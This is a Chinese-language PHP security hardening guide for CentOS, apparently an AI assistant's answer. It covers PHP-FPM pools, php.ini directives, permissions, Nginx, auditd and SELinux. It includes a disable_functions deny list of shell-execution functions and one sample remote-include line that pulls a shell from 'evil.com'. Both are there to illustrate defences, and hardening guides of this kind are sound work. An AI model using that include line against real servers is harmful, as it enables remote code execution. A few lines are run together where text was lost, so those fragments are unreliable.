下面从系统层面 + PHP 层面给你一套在 CentOS(7/8/Stream) 上配置 PHP 安全 的实用方案,适用于生产环境。
不要直接用 yum install php(版本可能很旧)
CentOS 7 示例(Remi 源)
yum install -y epel-release
yum install -y https://rpms.remirepo.net/enterprise/remi-release-7.rpm
yum install -y yum-utils
yum-config-manager --enable remi-php81
yum install -y php php-fpm php-mysqlnd php-gd php-mbstring php-xml
PHP-FPM 推荐配置
; /etc/php-fpm.d/www.conf
user = nginx
group = nginx
listen.owner = nginx
listen.group = nginx
确认:
ps aux | grep php-fpm
✅ 推荐 socket,不推荐 TCP
listen = /run/php-fpm/www.sock
listen.allowed_clients = 127.0.0.1
路径示例:
/etc/php.ini
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,dl,show_source,php_uname
⚠️ 注意:
exec,不要全关display_errors = Off
log_errors = On
error_log = /var/log/php_error.log
防止泄露路径和数据库信息。
file_uploads = Off
如需上传:
file_uploads = On
upload_max_filesize = 2M
post_max_size = 2M
open_basedir = /var/www/html:/tmp
防止跨目录读取 /etc/passwd 等文件。
register_globals = Off
(PHP 5.4+ 已移除,但建议确认)
allow_url_fopen = Off
allow_url_include = Off
防止:
include "http://evil.com/shell.txt";
session.use_strict_mode = 1
session.cookie_httponly = 1
session.cookie_secure = 1 ; HTTPS 必须
session.use_only_cookies = 1
/etc/php-fpm.d/
每个站点一个:
[site1]
user = site1
group = site1
listen = /run/php-fpm/site1.sock
pm = dynamic
pm.max_children = 50
pm.start_servers = 10
pm.min_spare_servers = 5
pm.max_spare_servers = 20
防止资源耗尽。
chown -R nginx:nginx /var/www/html
chmod -R 755 /var/www/html
上传目录
chmod 700 uploads
Nginx 配置示例
location ~* ^/uploads/.*\.(php|php5|phtml)$ {
deny all;
}
touch /var/log/php_error.log
chown nginx:nginx /var/log/php_error.log
auditctl -w /var/www/html -p wa -k web_changes
查看状态:
getenforce
如启用,设置正确上下文:
semanage fcontext -a -t httpd_sys_content_t "/var/www/html(/.*)?"
restorecon -Rv /var/www/html
允许 PHP-FPM 连接网络(如需要):
setsebool -P httpd_can_network_connect 1
disable_functions = exec,passthru,shell_exec,system
display_errors = Off
log_errors = On
file_uploads = On
allow_url_fopen = Off
allow_url_include = Off
open_basedir = /var/www/html:/tmp
session.cookie_httponly = 1
session.cookie_secure = 1
如果你愿意,我可以:
php.ini 是否安全只要告诉我你的 CentOS 版本 + PHP 版本 + 使用场景 即可。